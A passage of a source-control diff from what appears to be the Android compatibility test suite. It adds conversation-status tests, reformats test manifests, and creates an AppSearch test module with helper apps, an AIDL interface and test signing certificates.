+            assertFalse(mPeopleManager.isConversation(
+                    mContext.getPackageName(), SHARE_SHORTCUT_ID + 1));
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+        }
+    }
+
+    public void testAddOrUpdateStatus_add() throws Exception {
+        ConversationStatus cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                .setAvailability(AVAILABILITY_AVAILABLE)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs);
+
+        List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+
+        assertTrue(statuses.contains(cs));
+    }
+
+    public void testAddOrUpdateStatus_update() throws Exception {
+        ConversationStatus.Builder cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                .setAvailability(AVAILABILITY_AVAILABLE);
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs.build());
+
+        List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+        assertTrue(statuses.contains(cs.build()));
+
+        cs.setStartTimeMillis(100).setDescription("Playing chess");
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs.build());
+
+        statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+        assertTrue(statuses.toString(), statuses.contains(cs.build()));
+    }
+
+    public void testGetStatuses() throws Exception {
+        ConversationStatus cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                .setAvailability(AVAILABILITY_BUSY)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs);
+
+        ConversationStatus cs2 = new ConversationStatus.Builder("another", ACTIVITY_ANNIVERSARY)
+                .setAvailability(AVAILABILITY_AVAILABLE)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs2);
+
+        List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+
+        assertTrue(statuses.contains(cs));
+        assertTrue(statuses.contains(cs2));
+    }
+
+    public void testGetStatuses_multipleShortcuts() throws Exception {
+        ConversationStatus cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                .setAvailability(AVAILABILITY_BUSY)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs);
+
+        ConversationStatus cs2 = new ConversationStatus.Builder("another", ACTIVITY_ANNIVERSARY)
+                .setAvailability(AVAILABILITY_AVAILABLE)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID2, cs2);
+
+        List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+        List<ConversationStatus> statuses2 = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID2);
+        assertTrue(statuses.contains(cs));
+        assertTrue(statuses2.contains(cs2));
+    }
+
+    public void testClearStatuses() throws Exception {
+        ConversationStatus cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                .setAvailability(AVAILABILITY_BUSY)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs);
+
+        ConversationStatus cs2 = new ConversationStatus.Builder("another", ACTIVITY_ANNIVERSARY)
+                .setAvailability(AVAILABILITY_AVAILABLE)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs2);
+
+        mPeopleManager.clearStatuses(SHARE_SHORTCUT_ID);
+        List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+
+        assertTrue(statuses.isEmpty());
+    }
+
+    public void testClearStatus() throws Exception {
+        ConversationStatus cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                .setAvailability(AVAILABILITY_BUSY)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs);
+
+        ConversationStatus cs2 = new ConversationStatus.Builder("another", ACTIVITY_ANNIVERSARY)
+                .setAvailability(AVAILABILITY_AVAILABLE)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs2);
+
+        mPeopleManager.clearStatus(SHARE_SHORTCUT_ID, cs2.getId());
+        List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+
+        assertTrue(statuses.contains(cs));
+        assertFalse(statuses.contains(cs2));
+    }
+}
diff --git a/tests/appintegrity/Android.bp b/tests/appintegrity/Android.bp
index 8ac1b52..fd85d26 100644
--- a/tests/appintegrity/Android.bp
+++ b/tests/appintegrity/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsAppIntegrityDeviceTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/appintegrity/AndroidManifest.xml b/tests/appintegrity/AndroidManifest.xml
index e0a8816..c7ad8b5 100644
--- a/tests/appintegrity/AndroidManifest.xml
+++ b/tests/appintegrity/AndroidManifest.xml
@@ -15,23 +15,23 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.appintegrity.cts">
+     package="android.appintegrity.cts">
 
     <uses-sdk android:targetSdkVersion="30"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="CtsAppIntegrityDeviceActivity" >
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="CtsAppIntegrityDeviceActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.appintegrity.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.appintegrity.cts">
     </instrumentation>
 </manifest>
diff --git a/tests/apppredictionservice/Android.bp b/tests/apppredictionservice/Android.bp
index e8b9c68..b09de20 100644
--- a/tests/apppredictionservice/Android.bp
+++ b/tests/apppredictionservice/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsAppPredictionServiceTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/apppredictionservice/AndroidManifest.xml b/tests/apppredictionservice/AndroidManifest.xml
index 8ee464a..1c77832 100644
--- a/tests/apppredictionservice/AndroidManifest.xml
+++ b/tests/apppredictionservice/AndroidManifest.xml
@@ -14,31 +14,31 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
 -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.apppredictionservice.cts"
-    android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.apppredictionservice.cts"
+     android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <!-- TODO(b/111701043): Update with required permissions -->
-        <service
-            android:name=".PredictionService"
-            android:label="CtsAppPredictionService">
+        <service android:name=".PredictionService"
+             android:label="CtsAppPredictionService"
+             android:exported="true">
             <intent-filter>
                 <!-- This constant must match AppPredictionService.SERVICE_INTERFACE -->
-                <action android:name="android.service.appprediction.AppPredictionService" />
+                <action android:name="android.service.appprediction.AppPredictionService"/>
             </intent-filter>
         </service>
 
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests for the App Prediction Framework APIs."
-        android:targetPackage="android.apppredictionservice.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for the App Prediction Framework APIs."
+         android:targetPackage="android.apppredictionservice.cts">
     </instrumentation>
 
 </manifest>
diff --git a/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java b/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java
index ca4331a..fbc2d93 100644
--- a/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java
+++ b/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java
@@ -139,6 +139,13 @@
         RequestVerifier cb = new RequestVerifier(mReporter);
         client.registerPredictionUpdates(Executors.newSingleThreadExecutor(), cb);
 
+        // Introduce extra delay to ensure AppPredictor#registerPredictionUpdates finishes
+        // execution before calling AppPredictor#requestPredictionUpdate in the following line.
+        // Note that the delay is only needed because of the way the test case is structured.
+        // In production code, AppPredictor#requestPredictionUpdate is invoked in the callback
+        // of AppPredictor#registerPredictionUpdates, which already ensures sequential execution.
+        SystemClock.sleep(500);
+
         // Verify some updates
         assertTrue(cb.requestAndWaitForTargets(createPredictions(),
                 () -> client.requestPredictionUpdate()));
diff --git a/tests/appsearch/Android.bp b/tests/appsearch/Android.bp
new file mode 100644
index 0000000..c82ceef
--- /dev/null
+++ b/tests/appsearch/Android.bp
@@ -0,0 +1,99 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsAppSearchTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "AppSearchTestUtils",
+        "androidx.test.ext.junit",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "testng",
+    ],
+    srcs: [
+        "src/**/*.java",
+        ":CtsAppSearchTestsAidl",
+    ],
+    test_suites: [
+        "cts",
+        "vts",
+        "vts10",
+        "general-tests",
+    ],
+    platform_apis: true,
+}
+
+android_test_helper_app {
+    name: "CtsAppSearchTestHelperA",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "AppSearchTestUtils",
+        "androidx.test.ext.junit",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "testng",
+    ],
+    srcs: [
+        "helper-app/src/**/*.java",
+        ":CtsAppSearchTestsAidl"
+    ],
+    test_suites: [
+        "cts",
+        "vts",
+        "vts10",
+        "general-tests",
+    ],
+    manifest: "helper-app/AndroidManifest.xml",
+    aaptflags: [
+        "--rename-manifest-package com.android.cts.appsearch.helper.a",
+    ],
+    certificate: ":cts-appsearch-helper-cert-a",
+    sdk_version: "test_current"
+}
+
+android_test_helper_app {
+    name: "CtsAppSearchTestHelperB",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "AppSearchTestUtils",
+        "androidx.test.ext.junit",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "testng",
+    ],
+    srcs: [
+        "helper-app/src/**/*.java",
+        ":CtsAppSearchTestsAidl"
+    ],
+    test_suites: [
+        "cts",
+        "vts",
+        "vts10",
+        "general-tests",
+    ],
+    manifest: "helper-app/AndroidManifest.xml",
+    aaptflags: [
+        "--rename-manifest-package com.android.cts.appsearch.helper.b",
+    ],
+    certificate: ":cts-appsearch-helper-cert-b",
+    sdk_version: "test_current"
+}
+
+filegroup {
+    name: "CtsAppSearchTestsAidl",
+    srcs: [
+        "aidl/**/*.aidl",
+    ]
+}
diff --git a/tests/appsearch/AndroidManifest.xml b/tests/appsearch/AndroidManifest.xml
new file mode 100644
index 0000000..7eac46b
--- /dev/null
+++ b/tests/appsearch/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.appsearch" >
+    <application android:label="CtsAppSearchTestCases">
+        <uses-library android:name="android.test.runner"/>
+    </application>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.cts.appsearch"
+                     android:label="CtsAppSearchTestCases"/>
+</manifest>
diff --git a/tests/appsearch/AndroidTest.xml b/tests/appsearch/AndroidTest.xml
new file mode 100644
index 0000000..8acac7c
--- /dev/null
+++ b/tests/appsearch/AndroidTest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for CTS AppSearch test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsAppSearchTestCases.apk" />
+        <option name="test-file-name" value="CtsAppSearchTestHelperA.apk" />
+        <option name="test-file-name" value="CtsAppSearchTestHelperB.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="com.android.cts.appsearch" />
+    </test>
+</configuration>
diff --git a/tests/appsearch/OWNERS b/tests/appsearch/OWNERS
new file mode 100644
index 0000000..f2060d9
--- /dev/null
+++ b/tests/appsearch/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 755061
+include platform/frameworks/base:/apex/appsearch/OWNERS
diff --git a/tests/appsearch/TEST_MAPPING b/tests/appsearch/TEST_MAPPING
new file mode 100644
index 0000000..f728da5
--- /dev/null
+++ b/tests/appsearch/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAppSearchTestCases"
+    }
+  ]
+}
diff --git a/tests/appsearch/aidl/com/android/cts/appsearch/ICommandReceiver.aidl b/tests/appsearch/aidl/com/android/cts/appsearch/ICommandReceiver.aidl
new file mode 100644
index 0000000..1051883
--- /dev/null
+++ b/tests/appsearch/aidl/com/android/cts/appsearch/ICommandReceiver.aidl
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.appsearch;
+
+import java.util.List;
+
+interface ICommandReceiver {
+    List<String> globalSearch(String queryExpression);
+}
\ No newline at end of file
diff --git a/tests/appsearch/certs/Android.bp b/tests/appsearch/certs/Android.bp
new file mode 100644
index 0000000..431cd44
--- /dev/null
+++ b/tests/appsearch/certs/Android.bp
@@ -0,0 +1,9 @@
+android_app_certificate {
+  name: "cts-appsearch-helper-cert-a",
+  certificate: "cts-appsearch-helper-cert-a",
+}
+
+android_app_certificate {
+  name: "cts-appsearch-helper-cert-b",
+  certificate: "cts-appsearch-helper-cert-b",
+}
\ No newline at end of file
diff --git a/tests/appsearch/certs/README b/tests/appsearch/certs/README
new file mode 100644
index 0000000..1c3f1bd
--- /dev/null
+++ b/tests/appsearch/certs/README
@@ -0,0 +1,6 @@
+# No password, otherwise building during 'atest' will fail waiting on a password
+# These files shouldn't need to change unless you want to generate new certificates to sign the APKs
+#
+# Generated with:
+development/tools/make_key cts-appsearch-helper-cert-a '/CN=cts-appsearch-helper-cert-a'
+development/tools/make_key cts-appsearch-helper-cert-b '/CN=cts-appsearch-helper-cert-b'
diff --git a/tests/appsearch/certs/cts-appsearch-helper-cert-a.pk8 b/tests/appsearch/certs/cts-appsearch-helper-cert-a.pk8
new file mode 100644
index 0000000..80d546c
--- /dev/null
+++ b/tests/appsearch/certs/cts-appsearch-helper-cert-a.pk8
Binary files differ
diff --git a/tests/appsearch/certs/cts-appsearch-helper-cert-a.x509.pem b/tests/appsearch/certs/cts-appsearch-helper-cert-a.x509.pem
new file mode 100644
index 0000000..410c87b
--- /dev/null
+++ b/tests/appsearch/certs/cts-appsearch-helper-cert-a.x509.pem
@@ -0,0 +1,20 @@
+-----BEGIN CERTIFICATE-----
+MIIDLTCCAhWgAwIBAgIUWR4Bm55jx9m8xVquUIZyl9fcmmMwDQYJKoZIhvcNAQEL
+BQAwJjEkMCIGA1UEAwwbY3RzLWFwcHNlYXJjaC1oZWxwZXItY2VydC1hMB4XDTIx
+MDIwMzE5MzU1M1oXDTQ4MDYyMTE5MzU1M1owJjEkMCIGA1UEAwwbY3RzLWFwcHNl
+YXJjaC1oZWxwZXItY2VydC1hMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
+AQEAqn76IEzF5Re/1alN5gqZj7WEbRjiJIFd9Pfab+eriLCBoRqa57e9TArls1Ww
+6wwFTEJOtStx5h6Zb3OwrrlYjtEEEJz+jE1V5ykX3qVpAbfEd+TOAcKTzZpxwwN7
+mu3o1IhCR53PAddnlAun3kclkmZDa7O3YWDrpHnVE+JKZt5GTboony+PPYFlzPlE
+caJKnTRSAla3zqzUrcP8rgWiXoeELyKBU+tVJV8zHPvz5Q2ibHls2Gwooju/Nt44
+t84JbRjQleKbvdZIEi3syTeT24SbbxXnH3E9rN8IDhZXIUSpePHUkz/1j9yMDBtG
+RWXm6k5+zywd1Dr+RSsIc/y/OQIDAQABo1MwUTAdBgNVHQ4EFgQU0kzkxzvTV4Z8
+ol9pyajjWPHs/qgwHwYDVR0jBBgwFoAU0kzkxzvTV4Z8ol9pyajjWPHs/qgwDwYD
+VR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEARYIMj0IFu1vL7/curpbR
+OBvrSkzfutH339a9YQ4u3EGCLtFpkkAKuNFz5O0J2JpS2zih22OnwhDnbY3UtMxq
+70Di+F4cw3UvfhD5JxDSg5OwQgRAr0wE9Lv4SROpf3S734mpFX32b+xu4W9ydAXT
+eSLHLTwA+xXVZxlgbLYylzPYWAB+5+CJAiPn2eUSw3y5bBw19O8eOmEr4OaK6d/w
+sV1u62x6PMr5T3leBBEAem4co1wh4jrsUiL4ruL+S3zWhNm77bQQalB0G638vEpy
+SfzCWoHBvJO1OF9AOqq2XkCcTLK1kFeiTOquvGojKIPDBkKMY/Yf0nezYkuaoAhT
+Rg==
+-----END CERTIFICATE-----
diff --git a/tests/appsearch/certs/cts-appsearch-helper-cert-b.pk8 b/tests/appsearch/certs/cts-appsearch-helper-cert-b.pk8
new file mode 100644
index 0000000..83f553e
--- /dev/null
+++ b/tests/appsearch/certs/cts-appsearch-helper-cert-b.pk8
Binary files differ
diff --git a/tests/appsearch/certs/cts-appsearch-helper-cert-b.x509.pem b/tests/appsearch/certs/cts-appsearch-helper-cert-b.x509.pem
new file mode 100644
index 0000000..2567170
--- /dev/null
+++ b/tests/appsearch/certs/cts-appsearch-helper-cert-b.x509.pem
@@ -0,0 +1,20 @@
+-----BEGIN CERTIFICATE-----
+MIIDLTCCAhWgAwIBAgIUal+e58aSD0qxRsffLswdbrgxQ+swDQYJKoZIhvcNAQEL
+BQAwJjEkMCIGA1UEAwwbY3RzLWFwcHNlYXJjaC1oZWxwZXItY2VydC1iMB4XDTIx
+MDIwMzE5MzU1OVoXDTQ4MDYyMTE5MzU1OVowJjEkMCIGA1UEAwwbY3RzLWFwcHNl
+YXJjaC1oZWxwZXItY2VydC1iMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
+AQEAzKdRfZ/GHJ1dFhKifdRidbAzSzKMuAQ8G+1jUyu5zXLSN3T/eCHMU9H0I0cR
+NApTyLLtKVrZZ243AoSNFtjIGKIhARt07PNGnUD3lHoTIXKN6QPRiV96CMvFyg7F
+s2GSzanhvxi8qWNEtTXBwQN4nJaUhwSsQw2hBx7oOIC9/x799+4pMHLdv1AUFID4
+t189EPIre8YxiKmzYH8ie/v8YswLM7A6oxEz/bbzHkugB4gBY58TjX4eR6oD4SXZ
+cbEBjB9FM9aCmAxaxXciKNpfWO2GDveId1w9QJkyFONkv6fYQdS+2J6uJja5SMo0
+RSV20BqQWZXtl4x6H0jR0iB2kwIDAQABo1MwUTAdBgNVHQ4EFgQUlzvVOsqHgTn4
+KcL7sz/pvEI/NgwwHwYDVR0jBBgwFoAUlzvVOsqHgTn4KcL7sz/pvEI/NgwwDwYD
+VR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAqRdrVCG8t/fFG56AoUZg
+eV2wMFbbARR7uvtySvUOat3JiXjPpR04gul1/NyYFlo5+j7MwUoWtVYgJfzGd0/D
+JLit/gxfdVST088TSXyfoWdSgnA5b9w7g5OmyWd7xi9/A9XQp5Z3yf7ZE2Y0h8/5
+4kKmvpY1Kht70sRO6vE9fbhgjplbl+dhEu32mCkbMWYXguzh7UibTJPyRpxEI65s
+5Y/X8cJ6vYXyQ4DLPD1EJp3IgI7GGxRB3eeIE7GZdeSvaqmhaRpKpbD7jdwU4FTQ
+jYkG7ShNrangqf45HsYpUelHgO998xkt0/7DCH43yDRalhTR0sfkMJCZWOEogRRB
+tQ==
+-----END CERTIFICATE-----
diff --git a/tests/appsearch/helper-app/AndroidManifest.xml b/tests/appsearch/helper-app/AndroidManifest.xml
new file mode 100644
index 0000000..cab6e4a
--- /dev/null
+++ b/tests/appsearch/helper-app/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.appsearch.helper" >
+
+    <application android:debuggable="true">
+        <service android:name=".AppSearchTestService"
+                 android:exported="true"/>
+    </application>
+
+</manifest>
diff --git a/tests/appsearch/helper-app/src/com/android/cts/appsearch/helper/AppSearchTestService.java b/tests/appsearch/helper-app/src/com/android/cts/appsearch/helper/AppSearchTestService.java
new file mode 100644
index 0000000..efc9868
--- /dev/null
+++ b/tests/appsearch/helper-app/src/com/android/cts/appsearch/helper/AppSearchTestService.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.appsearch.helper;
+
+import static com.android.server.appsearch.testing.AppSearchTestUtils.convertSearchResultsToDocuments;
+
+import android.app.Service;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.GlobalSearchSessionShim;
+import android.app.appsearch.SearchResultsShim;
+import android.app.appsearch.SearchSpec;
+import android.content.Intent;
+import android.os.IBinder;
+import android.util.Log;
+
+import com.android.cts.appsearch.ICommandReceiver;
+import com.android.server.appsearch.testing.GlobalSearchSessionShimImpl;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+public class AppSearchTestService extends Service {
+
+    private static final String TAG = "AppSearchTestService";
+    private GlobalSearchSessionShim mGlobalSearchSession;
+
+    @Override
+    public void onCreate() {
+        try {
+            // We call this here so we can pass in a context. If we try to create the session in the
+            // stub, it'll try to grab the context from ApplicationProvider. But that will fail
+            // since this isn't instrumented.
+            mGlobalSearchSession =
+                    GlobalSearchSessionShimImpl.createGlobalSearchSession(this).get();
+        } catch (Exception e) {
+            Log.wtf(TAG, "Error starting service.", e);
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return new CommandReceiver();
+    }
+
+    private class CommandReceiver extends ICommandReceiver.Stub {
+
+        @Override
+        public List<String> globalSearch(String queryExpression) {
+            try {
+                final SearchSpec searchSpec =
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build();
+                SearchResultsShim searchResults =
+                        mGlobalSearchSession.search(queryExpression, searchSpec);
+                List<GenericDocument> results = convertSearchResultsToDocuments(searchResults);
+
+                List<String> resultStrings = new ArrayList<>();
+                for (GenericDocument doc : results) {
+                    resultStrings.add(doc.toString());
+                }
+
+                return resultStrings;
+            } catch (Exception e) {
+                Log.wtf(TAG, "Error issuing global search.", e);
+                return Collections.emptyList();
+            }
+        }
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/AppSearchSchemaMigrationCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/AppSearchSchemaMigrationCtsTest.java
new file mode 100644
index 0000000..90a74f8
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/AppSearchSchemaMigrationCtsTest.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.appsearch.cts;
+
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchSessionShim;
+
+import androidx.annotation.NonNull;
+
+import com.android.server.appsearch.testing.AppSearchSessionShimImpl;
+
+import com.google.common.util.concurrent.ListenableFuture;
+
+import org.junit.Ignore;
+
+@Ignore("TODO(b/177266929): Enable this test once schema migration is implemented")
+public class AppSearchSchemaMigrationCtsTest extends AppSearchSchemaMigrationCtsTestBase {
+    @Override
+    protected ListenableFuture<AppSearchSessionShim> createSearchSession(@NonNull String dbName) {
+        return AppSearchSessionShimImpl.createSearchSession(
+                new AppSearchManager.SearchContext.Builder().setDatabaseName(dbName).build());
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/AppSearchSessionCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/AppSearchSessionCtsTest.java
new file mode 100644
index 0000000..18a0238
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/AppSearchSessionCtsTest.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.appsearch.cts;
+
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchSessionShim;
+
+import androidx.annotation.NonNull;
+
+import com.android.server.appsearch.testing.AppSearchSessionShimImpl;
+
+import com.google.common.util.concurrent.ListenableFuture;
+
+import java.util.concurrent.ExecutorService;
+
+public class AppSearchSessionCtsTest extends AppSearchSessionCtsTestBase {
+    @Override
+    protected ListenableFuture<AppSearchSessionShim> createSearchSession(@NonNull String dbName) {
+        return AppSearchSessionShimImpl.createSearchSession(
+                new AppSearchManager.SearchContext.Builder().setDatabaseName(dbName).build());
+    }
+
+    @Override
+    protected ListenableFuture<AppSearchSessionShim> createSearchSession(@NonNull String dbName,
+            @NonNull ExecutorService executor) {
+        return AppSearchSessionShimImpl.createSearchSession(
+                new AppSearchManager.SearchContext.Builder().setDatabaseName(dbName).build(),
